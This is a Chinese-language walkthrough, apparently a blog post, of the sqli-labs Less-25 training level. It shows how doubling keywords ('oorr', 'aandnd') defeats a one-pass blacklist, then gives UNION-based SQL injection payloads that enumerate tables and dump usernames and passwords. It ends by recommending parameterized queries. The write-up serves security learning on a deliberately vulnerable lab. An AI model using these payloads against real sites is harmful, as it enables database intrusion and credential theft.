sqli-labs:Less-25关卡详细解析
1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符串型(单引号包裹)、GET操作
- 提示:参数需以
'
闭合 - 关键参数:
id
php
输出语句的部分代码:
if($row)
{echo '<font color= "#0000ff">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";
}
本关卡实现了对or
和and
字符的过滤,并使用空格进行了替换(不区分大小写),因此不能直接使用这两个。但既然对其进行空格替换,而且只进行1次替换,那么完全可以将or
改写为oorr
,将and
改写为aandnd
,接下来正常注入即可。
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)return $id;
}
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-25/
,从?id=
开始,只需要将下面的sql语句粘贴即可。
2.1. 判断字段数⚡
注意order
中的or
,需要修改为oorrder
1' oorrder by 4 --+
回显信息,同时说明字段数为3。
2.2. 判断回显位⚡
-1' union select 1,2,3 --+
2.3. 获取基本信息⚡
-1' union select 1,database(),user() --+
2.4. 获取表名⚡
注意information_schema
中的or
,需要修改为infoorrmation_schema
-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' --+
2.5. 获取字段⚡
注意information_schema
中的or
,需要修改为infoorrmation_schema
,将and
修改为aandnd
-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' aandnd table_name = 'users' --+
2.6. 获取数据⚡
注意password
中的or
,需要修改为passwoorrd
-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+
2.7. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' | 闭合符号 | id=' |
--+ | 闭合符号 | --+ |
order by | 判断字段数 | order by 4 |
union select | 联合查询 | union select 1,2,3 |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. 总结🏁
本关卡代码虽然尝试通过过滤or
和and
来防止SQL注入,但由于仅采用简单的字符串替换且未递归处理,攻击者仍可通过双写(如oorr
,aandnd
)、大小写混合、逻辑运算符替代或URL
编码的方式等方式轻松绕过。
其根本问题在于依赖黑名单机制而非参数化查询,导致注入风险依然存在。有效的防御应当采用预处理语句配合严格的输入验证,而非仅对关键词进行表面过滤。
相似关卡,见文章"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗